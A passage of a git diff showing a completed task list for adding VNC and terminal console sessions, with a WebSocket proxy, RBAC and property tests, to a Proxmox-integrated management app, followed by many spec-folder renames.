1.6, 1.7_ + + - [x] 1.2 Add console configuration to ConfigService and schema + - Add `ConsoleConfigSchema` to `backend/src/config/schema.ts` with `sessionTimeoutMs`, `maxSessionDuration`, `maxConcurrentSessions`, `heartbeatIntervalMs` + - Add console config parsing in `ConfigService` from `CONSOLE_*` env vars with validation (positive int, min 1 for concurrent sessions, heartbeat < timeout cross-check) + - Log warnings for invalid values and fall back to defaults + - _Requirements: 11.1, 11.2, 11.3, 11.4, 11.5, 11.6_ + + - [x] 1.3 Write property test for configuration parsing (Property 14) + - **Property 14: Configuration parsing with defaults** + - Generate random env var values (non-numeric, negative, zero, floats, valid) and verify defaults are applied for invalid values, heartbeat >= timeout triggers both defaults + - **Validates: Requirements 11.1, 11.2, 11.3, 11.4, 11.5, 11.6** + + - [x] 1.4 Create database migration 018_console_sessions.sql + - Create `backend/src/database/migrations/018_console_sessions.sql` with `console_sessions` table (snake_case columns), indexes on `user_id`, `state`, `token` + - Include CHECK constraints for `state` and `transport` columns + - _Requirements: 2.7_ + + - [x] 1.5 Create database migration 019_console_permissions.sql + - Create `backend/src/database/migrations/019_console_permissions.sql` inserting `console:access` and `console:admin` permissions + - Grant `console:access` to operator and admin roles, `console:admin` to admin only + - _Requirements: 6.1, 6.7_ + +- [x] 2. Checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +- [x] 3. ConsoleSessionManager service + - [x] 3.1 Implement ConsoleSessionManager + - Create `backend/src/services/ConsoleSessionManager.ts` with token generation (crypto.randomBytes 32+), session CRUD, token validation (exists, <60s, not consumed, owner match), heartbeat recording, concurrent session counting, provider-level bulk termination, expired session cleanup + - Use `DatabaseAdapter` for all DB operations with snake_case columns and camelCase aliases in SELECTs + - Integrate `AuditLoggingService` for session create/terminate events + - _Requirements: 2.1, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8, 8.1, 8.2, 8.4, 8.6, 8.7_ + + - [x] 3.2 Write property test for session token validation (Property 2) + - **Property 2: Session token validation correctness** + - Generate random tokens, timestamps, user IDs. Token accepted iff: exists in DB, created <60s ago, not consumed, connecting user matches owner. All others rejected. + - **Validates: Requirements 4.2, 4.3, 5.2, 5.3, 8.1, 8.2** + + - [x] 3.3 Write property test for concurrent session limit (Property 7) + - **Property 7: Concurrent session limit enforcement** + - Generate random session counts and verify that when active count >= maxConcurrentSessions, new creation is rejected with 429 semantics. + - **Validates: Requirements 8.6** + + - [x] 3.4 Write property test for session record completeness (Property 8) + - **Property 8: Session record completeness** + - Generate random session inputs and verify stored record always has non-null sessionId, userId, nodeId, provider, createdAt, lastHeartbeatAt. + - **Validates: Requirements 2.7** + + - [x] 3.5 Write property test for audit log completeness (Property 9) + - **Property 9: Audit log completeness for session events** + - Generate random session create/terminate events. Verify audit entry always contains userId, nodeId, provider, action, ISO 8601 timestamp. + - **Validates: Requirements 8.4** + +- [x] 4. Checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +- [x] 5. IntegrationManager extension and console availability + - [x] 5.1 Extend IntegrationManager with console provider support + - Add `consoleProviders` map, `isConsolePlugin` type guard, registration logic in `registerPlugin`, and public methods `getConsoleProvider`, `getAllConsoleProviders`, `getConsoleAvailability` + - Console availability queries all providers in parallel with 3s timeout, excludes timed-out providers, sorts results by provider name ascending + - _Requirements: 1.4, 3.1, 3.2, 3.3, 3.4, 3.5, 10.1_ + + - [x] 5.2 Write property test for availability response ordering (Property 10) + - **Property 10: Availability response structure and ordering** + - Generate random provider name arrays. Verify response entries contain provider name, transport, display label; entries sorted alphabetically by provider name. + - **Validates: Requirements 3.3, 3.4** + + - [x] 5.3 Write property test for unsupported node empty response (Property 11) + - **Property 11: Unsupported node returns empty availability** + - Generate random node IDs not supported by any registered provider. Verify availability returns empty array. + - **Validates: Requirements 3.2** + + - [x] 5.4 Write property test for unhealthy provider exclusion (Property 15) + - **Property 15: Unhealthy provider exclusion** + - Generate random provider health states. Verify unavailable/unhealthy providers are excluded from availability while healthy providers are included. + - **Validates: Requirements 10.1** + +- [x] 6. WebSocket proxy server + - [x] 6.1 Implement ConsoleWebSocketProxy + - Create `backend/src/services/ConsoleWebSocketProxy.ts` using `ws` library attached to existing HTTP server with `noServer: true` + - Handle `upgrade` event with path-based routing (`/ws/console/vnc`, `/ws/console/terminal`) + - Validate origin header against configured allowed origins + - Extract and validate session token from query params via `ConsoleSessionManager` + - Implement VNC binary relay (bidirectional, unmodified frames) + - Implement terminal relay (UTF-8 text frames for I/O, binary frames for control messages) + - Handle terminal resize control messages: validate columns [1,500] and rows [1,200], discard invalid + - Discard unrecognized binary control message types or frames shorter than expected payload + - Enforce `maxSessionDuration` limit (close with 4408) + - Handle upstream connection timeout (close with 4504 after 10s) + - Handle upstream drop (close with 4502, terminate session) + - Handle client disconnect (close upstream within 5s, release resources) + - Handle invalid/expired token (close with 4401) + - _Requirements: 4.1, 4.2, 4.3, 4.4, 4.5, 4.6, 4.7, 4.8, 5.1, 5.2, 5.3, 5.4, 5.5, 5.6, 5.7, 5.8, 8.5, 8.7_ + + - [x] 6.2 Write property test for binary frame relay integrity (Property 3) + - **Property 3: Binary frame relay integrity** + - Generate random binary buffers. Verify frames pass through the proxy byte-for-byte identical. + - **Validates: Requirements 4.4** + + - [x] 6.3 Write property test for terminal resize validation (Property 4) + - **Property 4: Terminal resize dimension validation** + - Generate random column/row pairs. Verify resize propagated iff columns in [1,500] and rows in [1,200]; otherwise discarded without session termination. + - **Validates: Requirements 5.5, 5.8** + + - [x] 6.4 Write property test for malformed control message resilience (Property 16) + - **Property 16: Malformed control message resilience** + - Generate random binary frames with unrecognized type bytes or truncated payloads. Verify discarded without session termination. + - **Validates: Requirements 5.8** + +- [x] 7. Checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +- [x] 8. ProxmoxConsoleProvider + - [x] 8.1 Implement ProxmoxConsoleProvider + - Create `backend/src/integrations/proxmox/ProxmoxConsoleProvider.ts` implementing `ConsolePlugin` + - Implement `getConsoleCapabilities`: check guest exists and is running, return `websocket-vnc` capability + - Implement `createSession`: determine guest type (qemu/lxc), verify running state, call appropriate vncproxy endpoint, build upstream WS URL, generate session token, return ConsoleSession + - Implement `terminateSession`: return false for non-existent/already-terminated sessions without throwing + - Implement `getSessionStatus`, `getSupportedTransports` + - Handle auth errors, non-running guest, connection timeout, resource not found from Proxmox API + - _Requirements: 9.1, 9.2, 9.3, 9.4, 9.5, 9.6, 9.7, 9.8, 1.6, 1.7_ + + - [x] 8.2 Write property test for guest type routing (Property 12) + - **Property 12: Guest type routing correctness** + - Generate random guest types (qemu/lxc). Verify QEMU guests use `/qemu/{vmid}/vncproxy` and LXC guests use `/lxc/{vmid}/vncproxy`. + - **Validates: Requirements 9.4** + + - [x] 8.3 Write property test for non-running guest rejection (Property 13) + - **Property 13: Non-running guest rejection** + - Generate random guest states (running, stopped, paused, etc.). Verify session creation fails for any state other than "running" with appropriate error message. + - **Validates: Requirements 9.6** + + - [x] 8.4 Write property test for provider registration (Property 1) + - **Property 1: Console provider registration invariant** + - Generate random plugin names. After registration with IntegrationManager, verify plugin appears in console providers map and is retrievable by name. + - **Validates: Requirements 1.4** + +- [x] 9. Console REST routes + - [x] 9.1 Implement console route factory and endpoints + - Create `backend/src/routes/console.ts` exporting `createConsoleRouter(container, integrationManager, sessionManager, db)` + - Implement `GET /api/console/availability/:nodeId` — RBAC check `console:access`, query availability via IntegrationManager + - Implement `POST /api/console/sessions` — RBAC check `console:access`, check concurrent limit (429), create session via provider, store session + - Implement `DELETE /api/console/sessions/:sessionId` — RBAC check: own session needs `console:access`, other user's session needs `console:admin` (403 otherwise) + - Implement `GET /api/console/sessions/:sessionId` — RBAC check `console:access`, return session status + - Implement `POST /api/console/sessions/:sessionId/heartbeat` — RBAC check `console:access`, record heartbeat + - _Requirements: 6.2, 6.3, 6.4, 6.5, 6.6, 8.3, 8.6, 10.4_ + + - [x] 9.2 Write property test for RBAC session creation (Property 5) + - **Property 5: RBAC enforcement for session creation** + - Generate random user/permission combinations. Verify session creation allowed iff user holds `console:access`; otherwise 403. + - **Validates: Requirements 6.2, 6.3** + + - [x] 9.3 Write property test for RBAC cross-user termination (Property 6) + - **Property 6: RBAC enforcement for cross-user termination** + - Generate random user/owner/permission combinations. Verify cross-user termination requires `console:admin`; own session termination needs only `console:access`. + - **Validates: Requirements 6.4, 6.5, 6.6, 8.3** + +- [x] 10. Wire backend components together + - [x] 10.1 Register ProxmoxConsoleProvider and wire routes in server.ts + - Register `ProxmoxConsoleProvider` with `IntegrationManager` in the plugin registry when Proxmox is enabled + - Instantiate `ConsoleSessionManager` with DI container services + - Instantiate `ConsoleWebSocketProxy` attached to the HTTP server + - Mount console router at `/api/console` + - On server startup, call `terminateAllForProvider` for each registered console provider (graceful restart handling) + - Start session cleanup interval + - _Requirements: 2.6, 9.1_ + +- [x] 11. Checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +- [x] 12. Frontend ConsoleViewer component + - [x] 12.1 Implement ConsoleViewer Svelte 5 component + - Create `frontend/src/components/ConsoleViewer.svelte` accepting `nodeId` and `capabilities` props + - Render noVNC canvas for `websocket-vnc` transport, xterm.js terminal for `websocket-terminal` + - Display connection status indicator (`connecting`, `connected`, `disconnected`) + - Implement heartbeat timer (30s interval while connected, stop on disconnect) + - Handle WebSocket close codes: 4401 (auth failed), 4502 (upstream failure), 4408 (duration exceeded), 4504 (timeout) with user-facing messages and "new session" option + - Handle unexpected close codes with reconnection prompt + - Implement full-screen toggle for the console viewport + - Use `navigator.sendBeacon` for terminate request on page unload/navigation away + - Pass session token as query parameter on WebSocket URL + - _Requirements: 7.1, 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9_ + + - [x] 12.2 Implement console availability UI on node detail page + - Add console availability fetch (non-blocking async) to the node detail page + - Show console options when available, hide all console UI when no providers available + - Implement retry logic: up to 3 consecutive attempts on failure, then disable retry button with "provider unavailable" message + - _Requirements: 10.2, 10.3, 10.5_ + +- [x] 13. Final checkpoint - Ensure all tests pass + - Ensure all tests pass, ask the user if questions arise. + +## Notes + +- Tasks marked with `*` are optional and can be skipped for faster MVP +- Each task references specific requirements for traceability +- Checkpoints ensure incremental validation +- Property tests validate universal correctness properties from the design document using `fast-check` +- Unit tests validate specific examples and edge cases +- Database columns use `snake_case` with `camelCase` aliases in SELECT queries per project convention +- The WebSocket proxy uses the `ws` library attached to the shared HTTP server (no second port) +- Frontend uses noVNC for VNC transport and xterm.js for terminal transport +- All code must pass ESLint, `tsc --noEmit`, and `vitest` before proceeding to the next task + +## Task Dependency Graph + +```json +{ + "waves": [ + { "id": 0, "tasks": ["1.1", "1.4", "1.5"] }, + { "id": 1, "tasks": ["1.2"] }, + { "id": 2, "tasks": ["1.3", "3.1"] }, + { "id": 3, "tasks": ["3.2", "3.3", "3.4", "3.5", "5.1"] }, + { "id": 4, "tasks": ["5.2", "5.3", "5.4", "6.1"] }, + { "id": 5, "tasks": ["6.2", "6.3", "6.4", "8.1"] }, + { "id": 6, "tasks": ["8.2", "8.3", "8.4", "9.1"] }, + { "id": 7, "tasks": ["9.2", "9.3", "10.1"] }, + { "id": 8, "tasks": ["12.1"] }, + { "id": 9, "tasks": ["12.2"] } + ] +} +``` diff --git a/.kiro/specs/070/hiera-codebase-integration/design.md b/.kiro/specs/done/070/hiera-codebase-integration/design.md similarity index 100% rename from .kiro/specs/070/hiera-codebase-integration/design.md rename to .kiro/specs/done/070/hiera-codebase-integration/design.md diff --git a/.kiro/specs/070/hiera-codebase-integration/requirements.md b/.kiro/specs/done/070/hiera-codebase-integration/requirements.md similarity index 100% rename from .kiro/specs/070/hiera-codebase-integration/requirements.md rename to .kiro/specs/done/070/hiera-codebase-integration/requirements.md diff --git a/.kiro/specs/070/hiera-codebase-integration/tasks.md b/.kiro/specs/done/070/hiera-codebase-integration/tasks.md similarity index 100% rename from .kiro/specs/070/hiera-codebase-integration/tasks.md rename to .kiro/specs/done/070/hiera-codebase-integration/tasks.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/MANUAL_TESTING_COMPLETE.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/MANUAL_TESTING_COMPLETE.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/MANUAL_TESTING_COMPLETE.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/MANUAL_TESTING_COMPLETE.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/TESTING_INDEX.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/TESTING_INDEX.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/TESTING_INDEX.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/TESTING_INDEX.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/TESTING_README.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/TESTING_README.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/TESTING_README.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/TESTING_README.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/cache-issue-resolution.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/cache-issue-resolution.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/cache-issue-resolution.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/cache-issue-resolution.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/code-consolidation-guide.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/code-consolidation-guide.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/code-consolidation-guide.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/code-consolidation-guide.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/design.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/design.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/design.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/design.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/expert-mode-coverage-checklist.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/expert-mode-coverage-checklist.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/expert-mode-coverage-checklist.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/expert-mode-coverage-checklist.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/expert-mode-test-results.txt b/.kiro/specs/done/070/pabawi-v0.5.0-release/expert-mode-test-results.txt similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/expert-mode-test-results.txt rename to .kiro/specs/done/070/pabawi-v0.5.0-release/expert-mode-test-results.txt diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/logging-expert-mode-audit.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/logging-expert-mode-audit.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/logging-expert-mode-audit.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/logging-expert-mode-audit.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/logging-expert-mode-pattern.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/logging-expert-mode-pattern.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/logging-expert-mode-pattern.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/logging-expert-mode-pattern.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/logging-integration-summary.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/logging-integration-summary.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/logging-integration-summary.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/logging-integration-summary.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/manual-test-expert-mode.sh b/.kiro/specs/done/070/pabawi-v0.5.0-release/manual-test-expert-mode.sh similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/manual-test-expert-mode.sh rename to .kiro/specs/done/070/pabawi-v0.5.0-release/manual-test-expert-mode.sh diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/manual-testing-guide.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/manual-testing-guide.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/manual-testing-guide.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/manual-testing-guide.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/manual-testing-implementation-summary.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/manual-testing-implementation-summary.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/manual-testing-implementation-summary.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/manual-testing-implementation-summary.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/manual-testing-quick-reference.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/manual-testing-quick-reference.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/manual-testing-quick-reference.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/manual-testing-quick-reference.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/migration-example.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/migration-example.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/migration-example.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/migration-example.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/requirements.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/requirements.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/requirements.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/requirements.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/routes-refactoring-completion.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/routes-refactoring-completion.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/routes-refactoring-completion.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/routes-refactoring-completion.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/routes-refactoring-implementation.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/routes-refactoring-implementation.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/routes-refactoring-implementation.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/routes-refactoring-implementation.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/routes-refactoring-plan.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/routes-refactoring-plan.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/routes-refactoring-plan.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/routes-refactoring-plan.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-10.5-completion-summary.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-10.5-completion-summary.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-10.5-completion-summary.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-10.5-completion-summary.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-5.7-summary.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-5.7-summary.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-5.7-summary.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-5.7-summary.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4-completion-report.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4-completion-report.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4-completion-report.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4-completion-report.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4-executions-completion.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4-executions-completion.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4-executions-completion.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4-executions-completion.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4-summary.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4-summary.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4-summary.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4-summary.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4.1-facts-completion.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4.1-facts-completion.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4.1-facts-completion.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4.1-facts-completion.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4.1-node-certname-completion.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4.1-node-certname-completion.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4.1-node-certname-completion.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4.1-node-certname-completion.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4.1-verification-complete.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4.1-verification-complete.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-6.5.4.1-verification-complete.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-6.5.4.1-verification-complete.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/task-node-reports-completion.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/task-node-reports-completion.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/task-node-reports-completion.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/task-node-reports-completion.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/tasks.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/tasks.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/tasks.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/tasks.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/test-single-route.sh b/.kiro/specs/done/070/pabawi-v0.5.0-release/test-single-route.sh similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/test-single-route.sh rename to .kiro/specs/done/070/pabawi-v0.5.0-release/test-single-route.sh diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/testing-checklist.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/testing-checklist.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/testing-checklist.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/testing-checklist.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/testing-flow-diagram.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/testing-flow-diagram.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/testing-flow-diagram.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/testing-flow-diagram.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/testing-troubleshooting.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/testing-troubleshooting.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/testing-troubleshooting.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/testing-troubleshooting.md diff --git a/.kiro/specs/070/pabawi-v0.5.0-release/unified-logging-implementation.md b/.kiro/specs/done/070/pabawi-v0.5.0-release/unified-logging-implementation.md similarity index 100% rename from .kiro/specs/070/pabawi-v0.5.0-release/unified-logging-implementation.md rename to .kiro/specs/done/070/pabawi-v0.5.0-release/unified-logging-implementation.md diff --git a/.kiro/specs/070/pabawi/IMPLEMENTATION_STATUS.md b/.kiro/specs/done/070/pabawi/IMPLEMENTATION_STATUS.md similarity index 100% rename from .kiro/specs/070/pabawi/IMPLEMENTATION_STATUS.md rename to .kiro/specs/done/070/pabawi/IMPLEMENTATION_STATUS.md diff --git a/.kiro/specs/070/pabawi/design.md b/.kiro/specs/done/070/pabawi/design.md similarity index 100% rename from .kiro/specs/070/pabawi/design.md rename to .kiro/specs/done/070/pabawi/design.md diff --git a/.kiro/specs/070/pabawi/requirements.md b/.kiro/specs/done/070/pabawi/requirements.md similarity index 100% rename from .kiro/specs/070/pabawi/requirements.md rename to .kiro/specs/done/070/pabawi/requirements.md diff --git a/.kiro/specs/070/pabawi/tasks.md b/.kiro/specs/done/070/pabawi/tasks.md similarity index 100% rename from .kiro/specs/070/pabawi/tasks.md rename to .kiro/specs/done/070/pabawi/tasks.md diff --git a/.kiro/specs/070/puppet-reports-pagination-and-debug-fixes/requirements.md b/.kiro/specs/done/070/puppet-reports-pagination-and-debug-fixes/requirements.md similarity index 100% rename from .kiro/specs/070/puppet-reports-pagination-and-debug-fixes/requirements.md rename to .kiro/specs/done/070/puppet-reports-pagination-and-debug-fixes/requirements.md diff --git a/.kiro/specs/070/puppet-reports-pagination/design.md b/.kiro/specs/done/070/puppet-reports-pagination/design.md similarity index 100% rename from .kiro/specs/070/puppet-reports-pagination/design.md rename to .kiro/specs/done/070/puppet-reports-pagination/design.md diff --git a/.kiro/specs/070/puppet-reports-pagination/phase-4-audit-report.md b/.kiro/specs/done/070/puppet-reports-pagination/phase-4-audit-report.md similarity index 100% rename from .kiro/specs/070/puppet-reports-pagination/phase-4-audit-report.md rename to .kiro/specs/done/070/puppet-reports-pagination/phase-4-audit-report.md diff --git a/.kiro/specs/070/puppet-reports-pagination/phase-5-audit-report.md b/.kiro/specs/done/070/puppet-reports-pagination/phase-5-audit-report.md similarity index 100% rename from .kiro/specs/070/puppet-reports-pagination/phase-5-audit-report.md rename to .kiro/specs/done/070/puppet-reports-pagination/phase-5-audit-report.md diff --git a/.kiro/specs/070/puppet-reports-pagination/requirements.md b/.kiro/specs/done/070/puppet-reports-pagination/requirements.md similarity index 100% rename from .kiro/specs/070/puppet-reports-pagination/requirements.md rename to .kiro/specs/done/070/puppet-reports-pagination/requirements.md diff --git a/.kiro/specs/070/puppet-reports-pagination/tasks.md b/.kiro/specs/done/070/puppet-reports-pagination/tasks.md similarity index 100% rename from .kiro/specs/070/puppet-reports-pagination/tasks.md rename to .kiro/specs/done/070/puppet-reports-pagination/tasks.md diff --git a/.kiro/specs/070/puppetdb-integration/design.md b/.kiro/specs/done/070/puppetdb-integration/design.md similarity index 100% rename from .kiro/specs/070/puppetdb-integration/design.md rename to .kiro/specs/done/070/puppetdb-integration/design.md diff --git a/.kiro/specs/070/puppetdb-integration/requirements.md b/.kiro/specs/done/070/puppetdb-integration/requirements.md similarity index 100% rename from .kiro/specs/070/puppetdb-integration/requirements.md rename to .kiro/specs/done/070/puppetdb-integration/requirements.md diff --git a/.kiro/specs/070/puppetdb-integration/tasks.md b/.kiro/specs/done/070/puppetdb-integration/tasks.md similarity index 100% rename from .kiro/specs/070/puppetdb-integration/tasks.md rename to .kiro/specs/done/070/puppetdb-integration/tasks.md diff --git a/.kiro/specs/070/puppetserver-integration/design.md b/.kiro/specs/done/070/puppetserver-integration/design.md similarity index 100% rename from .kiro/specs/070/puppetserver-integration/design.md rename to .kiro/specs/done/070/puppetserver-integration/design.md diff --git a/.kiro/specs/070/puppetserver-integration/expert-mode-review.md b/.kiro/specs/done/070/puppetserver-integration/expert-mode-review.md similarity index 100% rename from .kiro/specs/070/puppetserver-integration/expert-mode-review.md rename to .kiro/specs/done/070/puppetserver-integration/expert-mode-review.md diff --git a/.kiro/specs/070/puppetserver-integration/manual-testing-guide.md b/.kiro/specs/done/070/puppetserver-integration/manual-testing-guide.md similarity index 100% rename from .kiro/specs/070/puppetserver-integration/manual-testing-guide.md rename to .kiro/specs/done/070/puppetserver-integration/manual-testing-guide.md diff --git a/.kiro/specs/070/puppetserver-integration/requirements.md b/.kiro/specs/done/070/puppetserver-integration/requirements.md similarity index 100% rename from .kiro/specs/070/puppetserver-integration/requirements.md rename to .kiro/specs/done/070/puppetserver-integration/requirements.md diff --git a/.kiro/specs/070/puppetserver-integration/tasks.md b/.kiro/specs/done/070/puppetserver-integration/tasks.md similarity index 100% rename from .kiro/specs/070/puppetserver-integration/tasks.md rename to .kiro/specs/done/070/puppetserver-integration/tasks.md diff --git a/.kiro/specs/090/inventory-node-groups/.config.kiro b/.kiro/specs/done/090/inventory-node-groups/.config.kiro similarity index 100% rename from .kiro/specs/090/inventory-node-groups/.config.kiro rename to .kiro/specs/done/090/inventory-node-groups/.config.kiro diff --git a/.kiro/specs/090/inventory-node-groups/design.md b/.kiro/specs/done/090/inventory-node-groups/design.md similarity index 100% rename from .kiro/specs/090/inventory-node-groups/design.md rename to .kiro/specs/done/090/inventory-node-groups/design.md diff --git a/.kiro/specs/090/inventory-node-groups/requirements.md b/.kiro/specs/done/090/inventory-node-groups/requirements.md similarity index 100% rename from .kiro/specs/090/inventory-node-groups/requirements.md rename to .kiro/specs/done/090/inventory-node-groups/requirements.md diff --git a/.kiro/specs/090/inventory-node-groups/tasks.md b/.kiro/specs/done/090/inventory-node-groups/tasks.md similarity index 100% rename from .kiro/specs/090/inventory-node-groups/tasks.md rename to .kiro/specs/done/090/inventory-node-groups/tasks.md diff --git a/.kiro/specs/090/parallel-execution-ui/.config.kiro b/.kiro/specs/done/090/parallel-execution-ui/.config.kiro similarity index 100% rename from .kiro/specs/090/parallel-execution-ui/.config.kiro rename to .kiro/specs/done/090/parallel-execution-ui/.config.kiro diff --git a/.kiro/specs/090/parallel-execution-ui/design.md b/.kiro/specs/done/090/parallel-execution-ui/design.md similarity index 100% rename from .kiro/specs/090/parallel-execution-ui/design.md rename to .kiro/specs/done/090/parallel-execution-ui/design.md diff --git a/.kiro/specs/090/parallel-execution-ui/requirements.md 